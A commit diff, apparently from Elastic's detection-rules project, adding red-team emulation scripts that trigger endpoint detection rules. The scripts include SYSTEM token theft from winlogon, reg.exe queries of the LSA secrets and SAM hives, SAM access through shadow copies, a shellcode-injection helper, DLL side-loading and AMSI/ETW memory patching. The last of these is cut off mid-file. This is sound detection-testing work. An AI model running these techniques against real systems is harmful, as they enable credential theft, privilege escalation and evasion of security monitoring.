[New RTA] Endpoint Rules (#2788)

* [New RTA] Endpoint Rules

Suspicious Access to LSA Secrets Registry
Security Account Manager (SAM) Registry Access
Privilege Escalation via EXTENDED STARTUPINFO
Potential Privilege Escalation via Token Impersonation
Suspicious Impersonation as Trusted Installer
NTDLL Loaded from an Unusual Path
Sensitive File Access - Unattended Panther
Potential Discovery of Windows Credential Manager Store
Potential Discovery of DPAPI Master Keys
Potential Process Creation via ShellCode

* Update evasion_ntdll_from_unusual_path.py

* Update credaccess_reg_query_privesc_token_manip.py

* Create shellcode_load_ws2_32_unbacked.py

* Update shellcode_load_ws2_32_unbacked.py

* fix import

* Update credaccess_reg_query_privesc_token_manip.py

* Update shellcode_load_ws2_32_unbacked.py

* Update shellcode_load_ws2_32_unbacked.py

* Update shellcode_load_ws2_32_unbacked.py

* Update shellcode_load_ws2_32_unbacked.py

* Update shellcode_winexec_calc.py

* DLL Side Loading via a Copied Microsoft Executable

* Update sideload_msbin_faultrep.py

* DLL SideLoad via a Microsoft Signed Binary

* Update sideload_msbin_faultrep.py

* C2 via ISO file

* ++

* persistence from ISO

* Update exec_persistence_from_iso.py

* replaced win32con with actual static values

* Update sensitive_file_access.py

* Update credaccess_reg_query_privesc_token_manip.py

* Update ExecFromISOFile.ps1

* Suspicious ImageLoad from an ISO Mounted Device

* Update execution_iso_dll_rundll32.py

* Update c2_dns_from_iso.py

* Update shellcode_load_ws2_32_unbacked.py

* Update shellcode_load_ws2_32_unbacked.py

* Update impersonate_trusted_installer.py

* Library Loaded via a Callback Function

* Update evasion_loadlib_via_callback.py

* ++

* added ntds.dit access

* Security Account Manager (SAM) File Access

* Update sensitive_file_access.py

* Update sensitive_file_access.py

* Update sensitive_file_access.py

* Suspicious Execution via DotNet Remoting

* Update evasion_addinproc_certoc.py

* Update evasion_addinproc_certoc_odbc.py

* Update evasion_addinproc_certoc_odbc_gfxdwn.py

* Update evasion_addinproc_certoc_odbc_gfxdwn.py

* ++

* Update evasion_unhook_ldrloaddll.py

* added ETW and AMSI patching

* Update evasion_oversized_dll_load.py

* Update sensitive_file_access.py

added technique ids

* Update c2_dns_from_iso.py

fixed endpoint rule.ids array

* moved getppid to common.py

* moved impersonate_system to common

* moved inject to common.py

* Update credaccess_sam_from_vss.py

* Update evasion_addinproc_certoc_odbc_gfxdwn.py

* Update evasion_loadlib_via_callback.py

* Update evasion_oversized_dll_load.py

* Update evasion_patch_etw_amsi.py

* Update execution_iso_dll_sideload.py

* Update evasion_unhook_ldrloaddll.py

* Update exec_persistence_from_iso.py

* Update execution_iso_dll_rundll32.py

* Update sensitive_file_access.py

* Update shellcode_load_ws2_32_unbacked.py

* ++

* Update rta/c2_dns_from_iso.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update rta/common.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update rta/common.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update rta/credaccess_reg_query_privesc_token_manip.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update rta/credaccess_sam_from_vss.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update rta/common.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update rta/credaccess_sam_from_vss.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update shellcode_winexec_calc.py

* Update shellcode_load_ws2_32_unbacked.py

* Update c2_dns_from_iso.py

* Update evasion_oversized_dll_load.py

* Update rta/credaccess_sam_from_vss.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update evasion_oversized_dll_load.py

* Update rta/credaccess_sam_from_vss.py

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>

* Update credaccess_sam_from_vss.py

* Update c2_dns_from_iso.py

* ++

* ++

* ++

* Update impersonate_trusted_installer.py

* Update evasion_patch_etw_amsi.py

* Update credaccess_reg_query_privesc_token_manip.py

* ++

* Update evasion_ntdll_from_unusual_path.py

* Update evasion_oversized_dll_load.py

* ++

* Update common.py

* Update ExecFromISOFile.ps1

* Update evasion_ntdll_from_unusual_path.py

* add cpp source files

* Update rta/common.py

Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com>

* Update rta/src/LoadLib-Callback64.cpp

Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com>

* Update rta/src/rta_unhook_ldrload.cpp

Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com>

* Update rta/impersonate_trusted_installer.py

Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com>

---------

Co-authored-by: Justin Ibarra <16747370+brokensound77@users.noreply.github.com>
Co-authored-by: eric-forte-elastic <119343520+eric-forte-elastic@users.noreply.github.com>
Co-authored-by: Mika Ayenson <Mikaayenson@users.noreply.github.com>
This commit is contained in:
Samirbous
2023-06-23 16:58:30 +01:00
committed by GitHub
parent aaa4ce2ea0
commit 0f6ded452b
28 changed files with 1221 additions and 0 deletions
+16
View File
@@ -0,0 +1,16 @@
function ExecFromISO {
[CmdletBinding()]
param(
[Parameter()]
[string] $ISOFile,
[string] $procname,
[string] $cmdline
)
$MountMeta = Mount-DiskImage -ImagePath $ISOFile -StorageType ISO -Access ReadOnly
$DriveLetter = ($MountMeta | Get-Volume).DriveLetter
if ($cmdline) {Start-Process -FilePath "$($DriveLetter):\$($procname)" -ArgumentList "$($cmdline)";}
else {Start-Process -FilePath "$($DriveLetter):\$($procname)" -WorkingDirectory "$($DriveLetter):\"}
Start-Sleep -s 2
Stop-process -name $procname -Force -ErrorAction ignore
Dismount-DiskImage -ImagePath $ISOFile | Out-Null
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+44
View File
@@ -0,0 +1,44 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
import os
metadata = RtaMetadata(
uuid="ba802fb2-f183-420e-947m-da5ce0235d123",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "3bc98de7-3349-43ac-869c-58357ae2aac0", "rule_name": "Suspicious DNS Query from Mounted Virtual Disk"},
{"rule_id": "88f6c3d4-112e-4fad-b3ef-33095c954b63", "rule_name": "Suspicious DNS Query to Free SSL Certificate Domains"},
{"rule_id": "d37ffe39-8e58-460f-938d-3bafbae60711", "rule_name": "DNS Query to Suspicious Top Level Domain"}],
techniques=["T1071", "T1204", "T1071.004"],
)
# iso contains ping.exe to test for rules looking for suspicious DNS queries from mounted ISO file
ISO = common.get_path("bin", "ping_dns_from_iso.iso")
PROC = 'ping.exe'
# ps script to mount, execute a file and unmount ISO device
PS_SCRIPT = common.get_path("bin", "ExecFromISOFile.ps1")
@common.requires_os(metadata.platforms)
def main():
if os.path.exists(ISO) and os.path.exists(PS_SCRIPT):
print(f'[+] - ISO File {ISO} will be mounted and executed via powershell')
# 3 unique domains to trigger 3 unique rules looking for dns events via a process running from a mounted ISO file
for domain in ["Abc.xyz", "content.dropboxapi.com", "x1.c.lencr.org"] :
# import ExecFromISO function that takes two args -ISOFIle pointing to ISO file path and -procname pointing to the filename to execute and -cmdline for arguments
# command = "powershell.exe -ExecutionPol Bypass -c import-module " + psf + '; ExecFromISO -ISOFile ' + ISO + ' -procname '+ PROC + ' -cmdline ' + domain + ';'
command = f"powershell.exe -ExecutionPol Bypass -c import-module {PS_SCRIPT}; ExecFromISO -ISOFile {ISO} -procname {PROC} -cmdline {domain};"
common.execute(command)
print(f'[+] - RTA Done!')
if __name__ == "__main__":
exit(main())
+141
View File
@@ -24,6 +24,8 @@ from pathlib import Path
from typing import Iterable, Optional, Union
from http.server import HTTPServer, SimpleHTTPRequestHandler
long_t = type(1 << 63)
@@ -67,6 +69,60 @@ else:
if CURRENT_OS == WINDOWS:
CMD_PATH = os.environ.get("COMSPEC")
POWERSHELL_PATH = "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
import ctypes
import win32process
import win32file
import win32service
import win32api, win32security
from ctypes import byref, windll, wintypes
from ctypes.wintypes import BOOL
from ctypes.wintypes import DWORD
from ctypes.wintypes import HANDLE
from ctypes.wintypes import LPVOID
from ctypes.wintypes import LPCVOID
# Windows related constants and classes
TH32CS_SNAPPROCESS = 0x00000002
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
TOKEN_DUPLICATE = 0x0002
TOKEN_ALL_ACCESS = 0xf00ff
MAX_PATH = 260
BOOL = ctypes.c_int
DWORD = ctypes.c_uint32
HANDLE = ctypes.c_void_p
LONG = ctypes.c_int32
NULL_T = ctypes.c_void_p
SIZE_T = ctypes.c_uint
TCHAR = ctypes.c_char
USHORT = ctypes.c_uint16
UCHAR = ctypes.c_ubyte
ULONG = ctypes.c_uint32
class PROCESSENTRY32(ctypes.Structure):
_fields_ = [
('dwSize', DWORD),
('cntUsage', DWORD),
('th32ProcessID', DWORD),
('th32DefaultHeapID', NULL_T),
('th32ModuleID', DWORD),
('cntThreads', DWORD),
('th32ParentProcessID', DWORD),
('pcPriClassBase', LONG),
('dwFlags', DWORD),
('szExeFile', TCHAR * MAX_PATH)
]
LPCSTR = LPCTSTR = ctypes.c_char_p
LPDWORD = PDWORD = ctypes.POINTER(DWORD)
class _SECURITY_ATTRIBUTES(ctypes.Structure):
_fields_ = [('nLength', DWORD),
('lpSecurityDescriptor', LPVOID),
('bInheritHandle', BOOL), ]
SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES
LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES)
LPTHREAD_START_ROUTINE = LPVOID
else:
CMD_PATH = "/bin/sh"
POWERSHELL_PATH = None
@@ -669,3 +725,88 @@ def print_file(path):
print(f.read().rstrip())
print("")
# return pid by process.name
@requires_os('windows')
def getppid(pname):
CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot
Process32First = ctypes.windll.kernel32.Process32First
Process32Next = ctypes.windll.kernel32.Process32Next
CloseHandle = ctypes.windll.kernel32.CloseHandle
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
pe32 = PROCESSENTRY32()
pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
current_pid = os.getpid()
if Process32First(hProcessSnap, ctypes.byref(pe32)) == 0:
print(f"[x] - Failed getting first process.")
return
while True:
procname = pe32.szExeFile.decode("utf-8").lower()
if pname.lower() in procname:
CloseHandle(hProcessSnap)
return pe32.th32ProcessID
if not Process32Next(hProcessSnap, ctypes.byref(pe32)):
CloseHandle(hProcessSnap)
return None
@requires_os('windows')
def impersonate_system():
try:
hp = win32api.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, getppid("winlogon.exe"))
th = win32security.OpenProcessToken(hp, TOKEN_DUPLICATE)
new_tokenh = win32security.DuplicateTokenEx(th, 2, TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES())
win32security.ImpersonateLoggedOnUser(new_tokenh)
print(f"[+] - Impersonated System Token via Winlogon")
win32api.CloseHandle(hp)
except Exception as e:
print(f"[x] - Failed To Impersonate System Token via Winlogon")
@requires_os('windows')
def Inject(path, shellcode):
import ctypes, time
import ctypes.wintypes
from ctypes.wintypes import BOOL
from ctypes.wintypes import DWORD
from ctypes.wintypes import HANDLE
from ctypes.wintypes import LPVOID
from ctypes.wintypes import LPCVOID
import win32process
# created suspended process
info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO())
page_rwx_value = 0x40
process_all = 0x1F0FFF
memcommit = 0x00001000
if info[0].handle > 0 :
print(f"[+] - Created {path} Suspended")
shellcode_length = len(shellcode)
process_handle = info[0].handle # phandle
VirtualAllocEx = windll.kernel32.VirtualAllocEx
VirtualAllocEx.restype = LPVOID
VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD)
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
WriteProcessMemory.restype = BOOL
WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD)
CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread
CreateRemoteThread.restype = HANDLE
CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD)
# allocate RWX memory
lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value)
print(f'[+] - Allocated remote memory at {hex(lpBuffer)}')
# write shellcode in allocated memory
res = WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0)
if res > 0 :
print('[+] - Shellcode written.')
# create remote thread to start shellcode execution
CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0)
print('[+] - Shellcode Injection, done.')
@@ -0,0 +1,133 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="59329aa6-852a-44d0-9b24-322fe4fbdad0",
platforms=["windows"],
endpoint=[
{'rule_id': 'c5ee8453-bc89-42e7-a414-1ba4bec85119', 'rule_name': 'Suspicious Access to LSA Secrets Registry'},
{'rule.id': 'b6e8c090-f0ec-4c4c-af00-55ac2a9f9b41', 'rule_name': 'Security Account Manager (SAM) Registry Access'},
{'rule.id': '2afd9e7f-99e0-4a4d-a6e3-9e9db730f63b', 'rule_name': 'Privilege Escalation via EXTENDED STARTUPINFO'},
{'rule.id': '46de65b8-b873-4ae7-988d-12dcdc6fa605', 'rule_name': 'Potential Privilege Escalation via Token Impersonation'},
],
siem=[],
techniques=["T1134", "T1003"],
)
@common.requires_os(metadata.platforms)
def main():
import ctypes
from ctypes import byref, windll, wintypes
hprocess = wintypes.HANDLE()
hsystem_token = wintypes.HANDLE()
hsystem_token_dup = wintypes.HANDLE()
PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
TOKEN_IMPERSONATE = 0x00000004
TOKEN_DUPLICATE = 0x00000002
SecurityImpersonation = 0x2
TokenPrimary = 0x1
LOGON_WITH_PROFILE = 0x1
TOKEN_ALL_ACCESS = 0xf01ff
LPBYTE = ctypes.POINTER(wintypes.BYTE)
class PROCESS_INFORMATION(ctypes.Structure):
_pack_ = 1
_fields_ = [
('hProcess', wintypes.HANDLE),
('hThread', wintypes.HANDLE),
('dwProcessId', wintypes.DWORD),
('dwThreadId', wintypes.DWORD),
]
class STARTUPINFO(ctypes.Structure):
__slots__ = ()
_fields_ = (('cb', wintypes.DWORD),
('lpReserved', wintypes.LPWSTR),
('lpDesktop', wintypes.LPWSTR),
('lpTitle', wintypes.LPWSTR),
('dwX', wintypes.DWORD),
('dwY', wintypes.DWORD),
('dwXSize', wintypes.DWORD),
('dwYSize', wintypes.DWORD),
('dwXCountChars', wintypes.DWORD),
('dwYCountChars', wintypes.DWORD),
('dwFillAttribute', wintypes.DWORD),
('dwFlags', wintypes.DWORD),
('wShowWindow', wintypes.WORD),
('cbReserved2', wintypes.WORD),
('lpReserved2', LPBYTE),
('hStdInput', wintypes.HANDLE),
('hStdOutput', wintypes.HANDLE),
('hStdError', wintypes.HANDLE))
OpenProcess = windll.kernel32.OpenProcess
OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD]
OpenProcess.restype = wintypes.HANDLE
OpenProcessToken = windll.kernel32.OpenProcessToken
OpenProcessToken.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPCVOID]
OpenProcessToken.restype = wintypes.BOOL
DuplicateTokenEx = windll.advapi32.DuplicateTokenEx
DuplicateTokenEx.restype = wintypes.BOOL
DuplicateTokenEx.argtypes = [
wintypes.HANDLE, # TokenHandle
wintypes.DWORD, # dwDesiredAccess
wintypes.LPCVOID, # lpTokenAttributes
wintypes.DWORD, # ImpersonationLevel
wintypes.DWORD, # TokenType
wintypes.HANDLE, # phNewToken
]
CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW
CreateProcessWithTokenW.argtypes = [
wintypes.HANDLE, # hToken
wintypes.DWORD, # dwLogonFlags
wintypes.LPCWSTR, # lpApplicationName
wintypes.LPCVOID, # lpCommandLine
wintypes.DWORD, # dwCreationFlags
wintypes.LPCVOID, # lpEnvironment
wintypes.LPCVOID, # lpCurrentDirectory
wintypes.LPCVOID, # lpStartupInfo
wintypes.LPCVOID, # lpProcessInformation
]
CreateProcessWithTokenW.restype = wintypes.BOOL
CloseHandle = windll.kernel32.CloseHandle
CloseHandle.argtypes = [wintypes.HANDLE]
CloseHandle.restype = wintypes.BOOL
# Duplicate winlogon.exe System Token
hprocess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, common.getppid("winlogon.exe"))
OpenProcessToken(hprocess, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, byref(hsystem_token))
DuplicateTokenEx(hsystem_token, TOKEN_ALL_ACCESS, 0, SecurityImpersonation, TokenPrimary, byref(hsystem_token_dup))
# create process with winlogon system token duplicate to query specific sensitive registry keys using reg.exe
process_info = PROCESS_INFORMATION()
startup_info = STARTUPINFO()
cmdline = u" /c reg.exe query hklm\\security\\policy\\secrets && reg.exe query hklm\\SAM\\SAM\\Domains\\Account && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\JD && reg.exe query hklm\\SYSTEM\\ControlSet001\\Control\\Lsa\\Skew1"
res = CreateProcessWithTokenW(hsystem_token_dup, LOGON_WITH_PROFILE, u"C:\\Windows\\System32\\cmd.exe", cmdline, 0, 0, 0, byref(startup_info), byref (process_info))
# check process creation result
if res == 1 :
common.log("Executed RTA")
else :
common.log("Failed to execute RTA")
# Close all the handles
common.log("Closed all Handles")
CloseHandle(hsystem_token_dup)
CloseHandle(hsystem_token)
CloseHandle(hprocess)
if __name__ == "__main__":
exit(main())
+60
View File
@@ -0,0 +1,60 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="b78f0255-3b97-4e39-8857-ec74d09e36ba",
platforms=["windows"],
siem=[],
endpoint=[{'rule_id': 'dc27190a-688b-4f9b-88f0-1f13deccd67f', 'rule_name': 'Security Account Manager (SAM) File Access'}],
techniques=['T1003', 'T1003.002'],
)
def get_vss_list():
import win32com.client
wcd = win32com.client.Dispatch("WbemScripting.SWbemLocator")
wmi = wcd.ConnectServer(".","root\cimv2")
obj = wmi.ExecQuery("SELECT * FROM Win32_ShadowCopy")
return [o.DeviceObject for o in obj]
def vss_create():
import win32com.client
wmi=win32com.client.GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_ShadowCopy")
createmethod = wmi.Methods_("Create")
createparams = createmethod.InParameters
createparams.Properties_[1].value="c:\\"
results = wmi.ExecMethod_("Create", createparams)
return results.Properties_[1].value
@common.requires_os(metadata.platforms)
def main():
import win32file
vss_list = get_vss_list()
if len(vss_list) > 0 :
sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM"
print(f'[+] - Attempting to Open {sam_path}')
hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None)
if (hf):
print(f'[+] - RTA Done!')
win32file.CloseHandle(hf)
else :
print(f'[x] - RTA Failed :(')
else :
vss_list = vss_create()
sam_path = f"{vss_list[0]}\\Windows\\System32\\config\\SAM"
hf = win32file.CreateFile(sam_path, win32file.GENERIC_READ, 0, None, 3, 0, None)
if (hf):
print(f'[+] - RTA Done!')
win32file.CloseHandle(hf)
else :
print(f'[x] - RTA Failed :(')
if __name__ == "__main__":
exit(main())
@@ -0,0 +1,50 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="6e84852e-b8a2-4158-971e-c5148d969d2a",
platforms=["windows"],
siem=[],
endpoint=[
{'rule_id': '5bc7a8f8-4de8-4af4-bea4-cba538e54a5c', 'rule_name': 'Suspicious Execution via DotNet Remoting'},
{'rule_id': '6fcbf73f-4413-4689-be33-61b0d6bd0ffc', 'rule_name': 'Suspicious ImageLoad via Windows CertOC'},
{'rule_id': '1faebe83-38d7-4390-b6bd-9c6b851e47c4', 'rule_name': 'Suspicious ImageLoad via ODBC Driver Configuration Program'},
{'rule_id': 'aafe3c78-15d9-4853-a602-663b8fada5b5', 'rule_name': 'Potential Evasion via Intel GfxDownloadWrapper'}],
techniques=['T1218', 'T1218.008', 'T1105'],
)
EXE_FILE = common.get_path("bin", "renamed_posh.exe")
@common.requires_os(metadata.platforms)
def main():
addinproc = "C:\\Users\\Public\\AddInProcess.exe"
certoc = "C:\\Users\\Public\\CertOc.exe"
odbc = "C:\\Users\\Public\\odbcconf.exe"
gfxdwn = "C:\\Users\\Public\\GfxDownloadWrapper.exe"
common.copy_file(EXE_FILE, addinproc)
common.copy_file(EXE_FILE, certoc)
common.copy_file(EXE_FILE, odbc)
common.copy_file(EXE_FILE, gfxdwn)
# Execute command
common.execute([addinproc, "/guid:32a91b0f-30cd-4c75-be79-ccbd6345de99", "/pid:123"], timeout=10)
common.execute([certoc, "-LoadDLL"], timeout=10)
common.execute([odbc, "-a", "-f"], timeout=10)
common.execute([gfxdwn, "run", "2", "0"], timeout=10)
# Cleanup
common.remove_file(addinproc)
common.remove_file(certoc)
common.remove_file(odbc)
common.remove_file(gfxdwn)
if __name__ == "__main__":
exit(main())
+33
View File
@@ -0,0 +1,33 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
import os
metadata = RtaMetadata(
uuid="ae4b2807-3a16-485e-bb69-5d36bbe9b7d1",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "fae9f554-d3bc-4d48-8863-54d0dd68db54", "rule_name": "Library Loaded via a CallBack Function"}],
techniques=["T1574"],
)
# testing PE that will load ws2_32 and dnsapi.dll via a Callback function using RtlQueueWorkItem and RtlRegisterWait
# source code - https://gist.github.com/joe-desimone/0b2bb00eca4c522ba0bd5541a6f3528b
BIN = common.get_path("bin", "LoadLib-Callback64.exe")
@common.requires_os(metadata.platforms)
def main():
if os.path.exists(BIN) :
print(f'[+] - File {BIN} will be executed')
common.execute(BIN)
# cleanup
common.execute(["taskkill", "/f", "/im", "LoadLib-Callback64.exe"])
print(f'[+] - RTA Done!')
if __name__ == "__main__":
exit(main())
+40
View File
@@ -0,0 +1,40 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="e6d5315f-4c70-4788-8564-e7c23786a4d0",
platforms=["windows"],
endpoint=[{"rule_name": "NTDLL Loaded from an Unusual Path", "rule_id": "3205274e-7eb0-4765-a712-5783361091ae"}],
siem=[],
techniques=["T1055"],
)
@common.requires_os(metadata.platforms)
def main():
import win32file, win32api, os, time
from os import path
win32file.CopyFile(path.expandvars("%systemroot%\\system32\\ntdll.dll"), path.expandvars("%localappdata%\\Temp\\notntdll.dll"), 0)
if os.path.exists(path.expandvars("%localappdata%\\Temp\\notntdll.dll")):
print(f"[+] - NTDLL copied")
r = win32api.LoadLibrary(path.expandvars("%localappdata%\\Temp\\notntdll.dll"))
if r > 0 :
print(f"[+] - NTDLL copy loaded")
time.sleep(1)
win32api.FreeLibrary(r)
win32file.DeleteFile(path.expandvars("%localappdata%\\Temp\\notntdll.dll"))
print(f'[+] - NTDLL copy deleted')
else :
print('f[+] - Failed to load ntdll')
if __name__ == "__main__":
exit(main())
+66
View File
@@ -0,0 +1,66 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="ec52377c-b2a8-4c44-8eb4-465376f2189a",
platforms=["windows"],
siem=[],
endpoint=[
{"rule_id": "33cdad6c-5809-4d78-94f0-5a5153289e7e", "rule_name": "Oversized DLL Creation followed by SideLoad"},
{"rule_id": "65a402ff-904b-4d14-b7aa-fa0c5ae575f8", "rule_name": "Potential Evasion via Oversized Image Load"},
{"rule_id": "b58a6662-cc72-4c1c-a24e-703427f3b725", "rule_name": "Rundll32 or Regsvr32 Executing an OverSized File"},
{"rule_id": "d84090d7-91e4-4063-84c1-c1f410dd717b", "rule_name": "DLL Side Loading via a Copied Microsoft Executable"},
{"rule_id": "901f0c30-a7c5-40a5-80e3-a50c6744632f", "rule_name": "RunDLL32/Regsvr32 Loads Dropped Executable"},
],
techniques=["T1027", "T1574"],
)
# testing DLL that will spawn notepad once DllMain is invoked
DLL = common.get_path("bin", "faultrep.dll")
# we will copy WerFault.exe to temp to sideload our testing DLL faultrep.dll
WER = "c:\\windows\\system32\\werfault.exe"
@common.requires_os(metadata.platforms)
def main():
import os, win32file
from os import path
if os.path.exists(DLL) :
tempc = path.expandvars("%localappdata%\\Temp\\oversized.dll")
rta_dll = path.expandvars("%localappdata%\\Temp\\faultrep.dll")
rta_pe = path.expandvars("%localappdata%\\Temp\\wer.exe")
# copy files to temp
win32file.CopyFile(DLL,tempc, 0)
win32file.CopyFile(WER, rta_pe, 0)
if os.path.exists(tempc):
print(f"[+] - {DLL} copied to {tempc}")
print(f"[+] - File {tempc} will be appended with null bytes to reach 90MB in size.")
# append null bytes to makde the DLL oversized 90+MB in size
with open(tempc, 'rb+') as binfile:
binfile.seek(100000000)
binfile.write(b'\x00')
# copied via cmd to trigger the rule - python is signed and won't trigger the file mod part of the rule
common.execute(["cmd.exe", "/c", "copy", tempc, rta_dll])
if os.path.exists(rta_dll) and os.path.exists(rta_pe):
# should trigger rundll32 rules
common.execute(["rundll32.exe", rta_dll, "DllMain"])
# should trigger dll sideload from current dir
common.execute(rta_pe)
# cleanup
common.execute(["taskkill", "/f", "/im", "notepad.exe"])
print(f'[+] - Cleanup.')
win32file.DeleteFile(tempc)
win32file.DeleteFile(rta_dll)
win32file.DeleteFile(rta_pe)
print(f'[+] - RTA Done!')
if __name__ == "__main__":
exit(main())
+82
View File
@@ -0,0 +1,82 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
from . import common
from . import RtaMetadata
metadata = RtaMetadata(
uuid="395d0e4c-e7f5-4c77-add7-92b1d2ba169e",
platforms=["windows"],
siem=[],
endpoint=[{"rule_id": "586bf106-b208-45fc-9401-727664175ca0", "rule_name": "Potential AMSI Bypass via Memory Patching"},
{"rule_id": "3046168a-91cb-4ecd-a061-b75b1df1c107", "rule_name": "Potential Evasion via Event Tracing Patching"}],
techniques=["T1562.001"],
)
@common.requires_os(metadata.platforms)
def main():
import ctypes, platform
from ctypes import windll, wintypes
kernel32 = windll.kernel32
LoadLibraryA = kernel32.LoadLibraryA
LoadLibraryA.argtypes = [wintypes.LPCSTR]
LoadLibraryA.restype = wintypes.HMODULE
GetProcAddress = kernel32.GetProcAddress
GetProcAddress.argtypes = [wintypes.HMODULE, wintypes.LPCSTR]
GetProcAddress.restype = ctypes.c_void_p
VirtualProtect = kernel32.VirtualProtect
VirtualProtect.argtypes = [wintypes.LPVOID, ctypes.c_size_t, wintypes.DWORD, wintypes.PDWORD]
VirtualProtect.restype = wintypes.BOOL
GetCurrentProcess = kernel32.GetCurrentProcess
GetCurrentProcess.restype = wintypes.HANDLE
WriteProcessMemory = kernel32.WriteProcessMemory
WriteProcessMemory.argtypes = [wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, ctypes.c_size_t, wintypes.LPVOID]
WriteProcessMemory.restype = wintypes.BOOL
GetModuleHandleA = kernel32.GetModuleHandleA
GetModuleHandleA.restype = wintypes.HANDLE
GetModuleHandleA.argtypes = [wintypes.LPCSTR]
RWX = 0x40 # PAGE_READ_WRITE_EXECUTE
OLD_PROTECTION = wintypes.LPDWORD(ctypes.c_ulong(0))
if platform.architecture()[0] == '64bit':
print(f'[+] using x64 based patch')
patch = (ctypes.c_char * 6)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90)
if platform.architecture()[0] != '64bit':
print(f'[+] using x86 based patch')
patch = (ctypes.c_char * 8)(0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90)
lib = LoadLibraryA(b"amsi.dll")
if lib:
print(f'[+] Loaded amsi.dll at {hex(lib)}')
amsi = GetProcAddress(lib, b"AmsiScanBuffer")
etw = GetProcAddress(GetModuleHandleA(b"ntdll.dll"), b"EtwNotificationRegister")
if amsi and etw:
print(f'[+] Address of AmsiScanBuffer(): {hex(amsi)}')
print(f'[+] Address of EtwEventWrite(): {hex(etw)}')
amsi_rwx = VirtualProtect(amsi, ctypes.sizeof(patch), RWX, OLD_PROTECTION)
